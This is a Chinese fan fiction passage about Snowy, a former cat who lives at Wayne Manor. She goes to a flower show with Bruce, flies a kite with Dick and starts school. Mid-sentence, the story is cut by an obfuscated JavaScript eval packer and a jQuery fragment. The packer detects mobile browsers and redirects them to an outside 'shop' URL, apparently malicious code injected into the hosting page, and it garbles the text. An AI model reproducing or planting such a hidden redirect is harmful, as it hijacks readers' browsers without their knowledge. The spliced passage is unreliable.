花卉展那天,哥谭终于放晴了。植物园门口排着长长的队伍,大多是带着孩子的家庭,也有一些老夫妇,慢悠悠地走着,不时停下来看路边的指示牌。
布鲁斯穿着一件深灰色的外套,戴着一副墨镜,看起来和周围那些来参观的家长没什么区别。他牵着斯诺伊的手,排在队伍中间,前后都是说话声和笑声。
斯诺伊有些不习惯。她习惯了在蝙蝠洞里看监控屏幕,习惯了在夜色里穿过废弃的街道,习惯了在花园里一个人安静地剪枝。这么多人,这么多声音,这么多颜色挤在一起,让她觉得有些晕。
“不喜欢人多?”布鲁斯低头看她。
斯诺伊摇头。“只是不习惯。”
布鲁斯没有再说什么,但他的手握紧了一点。
温室区是花展的主场地。各种斯诺伊叫不出名字的花摆在架子上、挂在头顶、铺在地面,红的、黄的、紫的、白的,挤挤挨挨,像是在比赛谁开得更大。她在一株巨大的兰花前停下来。兰花的唇瓣是深紫色的,边缘卷曲,像某种她见过的深海生物。
“这是兜兰。”布鲁斯看着旁边的标签,“原产东南亚,喜欢潮湿阴凉的环境。”
斯诺伊蹲下来,仔细看花瓣上的纹路。那些纹路细得像头发丝,从花心向外蔓延,在边缘汇成深色的轮廓。她能感觉到这株兰花的生命脉动,比花园里的玫瑰更慢,更静,像是在做一个很长很长的梦。
“你喜欢花。”布鲁斯说。
斯诺伊点头。“它们不会说话,但会告诉你很多事。只要听。”
布鲁斯看着她,目光里有一种她读不太懂的东西。不是悲伤,不是欣慰,是一种更复杂的、被压在很多层东西下面的情绪。
他们在一个摊位前停下来。摊位上摆着各种小盆栽,多肉、仙人掌、空气凤梨,还有几盆小小的食虫植物。斯诺伊被一株捕蝇草吸引住了。它的叶片边缘长着细密的刺毛,像一排小牙齿,叶片内侧是深红色的,在阳光下泛着光泽。
“想要吗?”布鲁斯问。
斯诺伊犹豫了一下。“我不知道怎么养它。”
摊主是个年轻的女孩,笑起来有两个酒窝。“很简单的,每周浇一次纯净水,不要浇自来水,偶尔喂它吃一只小虫子就行。它不需要太多阳光,放在窗台上就很好。”
布鲁斯付了钱。斯诺伊捧着那盆捕蝇草,小心地放在膝盖上。花盆是普通的塑料盆,外面套了一个纸袋,纸袋上印着植物园的标志。
回去的路上,斯诺伊一直看着那盆捕蝇草。它在车里轻轻摇晃,叶片上的刺毛随着车的颠簸微微颤动。
“你在想什么?”布鲁斯问。
斯诺伊想了想。“我在想,它和‘初芽’有点像。都是吃活的东西,都需要特别的照顾。但它是好的,是正常的。‘初芽’不是。它们不一样。”
“你觉得‘初芽’可怜。”布鲁斯说。
斯诺伊点头。“它不想变成那样的。是那些人非要把它变成那样。”
布鲁斯没有回答。车驶过韦恩庄园的大门,两边的树在车窗上投下快速移动的影子。
到家后,斯诺伊把捕蝇草放在窗台上,和那盆蕨类植物并排。蕨类植物的叶子已经长得很高了,垂下来,遮住了花盆的一角。捕蝇草安静地待在那里,叶片微微张开,像是在呼吸。
阿尔弗雷德来看了一眼,说:“捕蝇草需要高湿度,我给您找个托盘,底下铺一层石子,加点水。”他很快就拿来了托盘,铺好石子,倒上水,把花盆放在中间。“这样就好了。”
斯诺伊看着两盆植物并排放在窗台上。一个舒展,一个安静,一个喜欢阴凉,一个需要潮湿。它们不一样,但它们可以好好待在一起。
她在日记里写道:今天布鲁斯带我去了花展。我买了一盆捕蝇草。它很小,但很精神。我想它会喜欢这里。
——
三月过完,四月来了。哥谭的春天终于不再犹豫,把积攒了一个冬天的力气都使出来。花园里的郁金香开了,红的、黄的、紫的,一排一排,像霍华德画册里的样子。玫瑰也冒出了花苞,小小的,紧紧裹着,要再过些日子才会打开。
斯诺伊每天都会去花园待一会儿。有时候是干活,剪枝、浇水、除草。有时候只是坐着,看霍华德干活,或者看云从庄园上空慢慢飘过。她发现自己开始能分辨不同云层的厚度和移动速度,知道哪些云会带来雨,哪些只是路过。
一天下午,迪克从布鲁德海文回来,带了一大袋东西。他站在花园门口,把袋子举高,不让斯诺伊看到里面是什么。
“猜猜。”他说。
斯诺伊想了想。“书?”
“不是。”
“吃的?”
“不是。”
“工具?”
迪克把袋子放下来,里面是一个风筝。不是什么复杂的东西,就是最简单的菱形,红白相间的条纹,尾巴是几条长长的彩带。
“这个季节风大,最适合放风筝。”迪克说,“走,去后面那片空地。”
那片空地在庄园西侧,以前大概是网球场,后来荒了,长满了草。迪克把线轴递给斯诺伊,自己拿着风筝跑起来。风正好,风筝摇摇晃晃地升上去,尾巴在风里甩来甩去,像一条彩色的蛇。
斯诺伊握着线轴,感觉风从指缝间流过。风筝在很高的地方,小得只剩一个点,但她能感觉到它的每一下颤抖,每一下挣扎。线在手里绷得很紧,像是要断了,但又不会断。
“感觉怎么样?”迪克在她旁边坐下。
“有点怕。”斯诺伊说,“怕它飞走。”
“不会。”迪克说,“线在你手里。”
斯诺伊看着那个小点,它在风里翻了个身,尾巴绕了一圈,又稳住了。“如果它想走呢?”
迪克想了想。“那就放手。它飞走了,你还有线轴。下次再做一只。”
斯诺伊没有放手。她让风筝在风里又飞了一会儿,然后慢慢收线。线一圈一圈绕回来,风筝越来越近,最后落在地上,彩色的尾巴散了一地。
她把风筝收好,和迪克一起往回走。路上,她问迪克:“你以前放过风筝吗?”
迪克笑了。“小时候在马戏团放过。不是这种,是那种大的,能带着人飞的那种。”
“带着人飞?”
“对,就是把人绑在风筝上,拉到空中。我爸爸试过一次,飞到一半绳子断了,掉进河里。”迪克说得很轻松,像在说一件好玩的事。
斯诺伊看着他。“你不怕?”
迪克想了想。“那时候怕。后来不怕了。掉进河里又不会死,水很浅,就是有点丢人。”
斯诺伊没忍住笑了。迪克也笑,笑着笑着,笑声就散了,变成风里的一点声音。
晚上,斯诺伊把风筝挂在房间的墙上。红白相间的条纹在灯光下很好看,尾巴垂下来,搭在椅背上。她想,下次风大的时候,再放一次。
第九章对话
五月的第一个周末,布鲁斯在书房里等她。桌上没有文件,没有茶,只有一盏灯,光线调得很暗,照着他的半张脸。
“坐。”他说。
斯诺伊坐下。她注意到布鲁斯今天没有穿外套,衬衫袖子卷到手肘,露出前臂上一条还没完全消退的伤疤。
“你受伤了。”她说。
布鲁斯低头看了一眼。“上周的事了。不严重。”
斯诺伊没有追问。她知道他不会说细节,就像他不会问她昨天在花园里哭了是因为什么。
“我想和你聊聊以后的事。”布鲁斯说。
斯诺伊等着。
“你现在有了身份,有了名字,有了家。”布鲁斯说得很慢,像是在挑拣每一个字,“但你还不是普通的孩子。你有特殊的能力,也有特殊的过去。这些不会因为有了新名字就消失。”
斯诺伊没有说话。
“我问过你愿不愿意去学校。”布鲁斯看着她,“你说要考虑。现在考虑好了吗?”
斯诺伊沉默了很久。窗外的风吹着什么东西,发出轻轻的响声。
“我不知道。”她说,“我想去,又怕去。那里的人和我都不一样。他们不会知道什么是‘初芽’,什么是‘绿色低语’。他们只知道上课、放学、做作业。我去了,要假装自己和他们一样。我怕假装久了,就忘了自己是谁。”
布鲁斯没有立刻回答。他把灯调亮了一点,光线铺在桌面上,照出木头上一圈一圈的纹路。
“我小时候也怕过。”他说。
斯诺伊抬头看他。布鲁斯很少说自己的事。
“我父母去世后,我去学校,所有人看我的眼神都不一样。有的人同情,有的人好奇,有的人害怕。我花了很多年才学会不在乎。”他顿了顿,“但后来我发现,不是不在乎,是学会了分清楚。哪些人的看法重要,哪些不重要。重要的,就那么几个。”
斯诺伊想起迪克的话。重要的,就那么几个。
“你会陪我去吗?”她问。
“会。”布鲁斯说,“第一天,我送你去。以后也接你回来。”
“如果我学不会那些东西呢?”
“那就学不会。”布鲁斯说,“不是所有东西都需要学会。”
斯诺伊低下头,看着自己放在膝盖上的手。那双手曾经是爪子,后来变成人类的手,现在它们会写字,会修剪枝条,会握着风筝的线轴。
“我去。”她说。
布鲁斯点头。“好。”
那天晚上,斯诺伊在日记本上写了很久。她写布鲁斯的伤疤,写他小时候的事,写那些重要的就那么几个。写到最后,她发现本子只剩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362323|195324||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
最后两页了。
她翻到第一页,看自己写的第一句话:“我叫斯诺伊。我曾经是一只猫,活了十八年。”
那是什么时候写的?好像是去年,又好像是更久以前。那时候她的字还歪歪扭扭的,现在好了一些,但还是不够好看。
她合上本子,放在床头柜上,和手表并排放着。窗外没有月亮,但花园里的灯还亮着,照着那棵老苹果树的影子。
——
六月,哥谭的夏天终于来了。
斯诺伊站在日光室的窗前,看着花园里的花。玫瑰开了,粉白色的,带着淡淡的香味,是韦恩夫人当年种的那一株。郁金香谢了,叶子黄了,霍华德说要把球茎挖出来,秋天再种。那盆捕蝇草长得很好,新长了几片叶子,刺毛又密又细,像一排小牙齿。
阿尔弗雷德端来早餐。今天是燕麦粥、水果和一杯热牛奶。托盘上还有一个小信封,白色的,没有邮票,只写了“斯诺伊”三个字。
她打开信封,里面是一张卡片。卡片上画着一棵树,画得不算好,树干歪歪扭扭的,叶子像一堆绿色的棉花球。但树下有一个小人,银色的头发,穿着浅绿色的衣服。
卡片的背面写着:听说你要去学校了。好好学,别打架。下次来给你带个更好的。T.S.
斯诺伊把卡片放在窗台上,用小石子压住,不让风吹走。
楼下传来汽车的声音。斯诺伊从窗户看下去,布鲁斯已经站在车旁边,穿着一件浅色的外套,没有戴墨镜。他抬头看了她一眼,没有催,只是等着。
斯诺伊把最后一口牛奶喝完,擦了擦嘴,拿起放在门口的书包。书包是阿尔弗雷德准备的,深蓝色,不大,里面装着几本新书、一个笔袋,还有那本已经写满的日记本。她本来不想带,但想了想,还是放进去了。
她走下楼梯,经过走廊,经过那幅韦恩夫人的画像。画像里的女人微笑着,手里拿着一朵花,看不清是什么花。
阿尔弗雷德站在门口,手里拿着一个纸袋。“午餐,斯诺伊小姐。三明治和水果。如果不够,学校有食堂,但最好不要吃太多油炸的东西。”
斯诺伊接过纸袋,抱在怀里。“谢谢,阿尔弗雷德。”
阿尔弗雷德微微弯腰,灰蓝色的眼睛里有一种很淡的、但很真的笑意。“祝您愉快,斯诺伊小姐。”
斯诺伊走出门,阳光落在脸上,暖烘烘的。布鲁斯打开车门,她坐进去,把书包放在膝盖上,纸袋放在旁边。
车驶出庄园大门,经过那片她放过风筝的空地,经过那排她修剪过的冬青,经过霍华德那棵不结果的苹果树。斯诺伊从后视镜里看,庄园越来越小,最后变成一个点,消失在树丛后面。
“紧张吗?”布鲁斯问。
“有一点。”斯诺伊说,“但不是很紧张。”
布鲁斯没有说什么,只是把车开得慢了一点。
斯诺伊低头看着手里的书包,深蓝色的布面上什么图案都没有。她摸了摸口袋,里面是达米安给她的那把折叠刀,刀柄的木头的温度贴着掌心。
车驶入哥谭的街道,阳光从高楼之间漏下来,在路面上画出一道一道的光带。行人、店铺、红绿灯,一切都和平时一样,但又不太一样。
斯诺伊看着窗外,想起霍华德说的那句话。植物比人更懂得等待。她等了一整个冬天,等来了春天,等来了花开,等来了一个可以叫“家”的地方。现在,她要去等一些别的东西了。等新的朋友,等新的知识,等新的自己。
车停在一栋红砖建筑前。门口有一块牌子,写着“哥谭公立第三小学”。门口站着几个背着书包的孩子,有的在说话,有的在追跑,有的安静地站着等开门。
布鲁斯停好车,转头看着斯诺伊。“到了。”
斯诺伊深吸一口气,打开车门,站在阳光下。她回头看了一眼布鲁斯,他坐在车里,没有下来,只是看着她。
“下午我来接你。”他说。
斯诺伊点头,转身向校门走去。书包有点重,但她背得很稳。阳光把她的影子拉得很长,投在红砖墙上,和那些孩子的影子叠在一起。
她没有回头,但她知道,有人在看着她。那个人会等她,像霍华德等那棵苹果树结果,像阿尔弗雷德每天早晨从走廊东边走到西边,数着四十七步,像那盆捕蝇草在窗台上慢慢张开叶子,等着那只不知道什么时候会来的虫子。
斯诺伊走进校门,走进阳光里,走进一个她还不了解的世界。她的手握着口袋里的刀,手腕上的表盘在安静地转动,书包里的日记本在等待新的故事。
她没有回头。但她知道,根已经扎下去了。在这座城市的土壤里,在这座庄园的阴影里,在这些人的目光里。她会在这里生长,像那棵老苹果树,不急着结果,只是待在这里,看一个又一个春天过去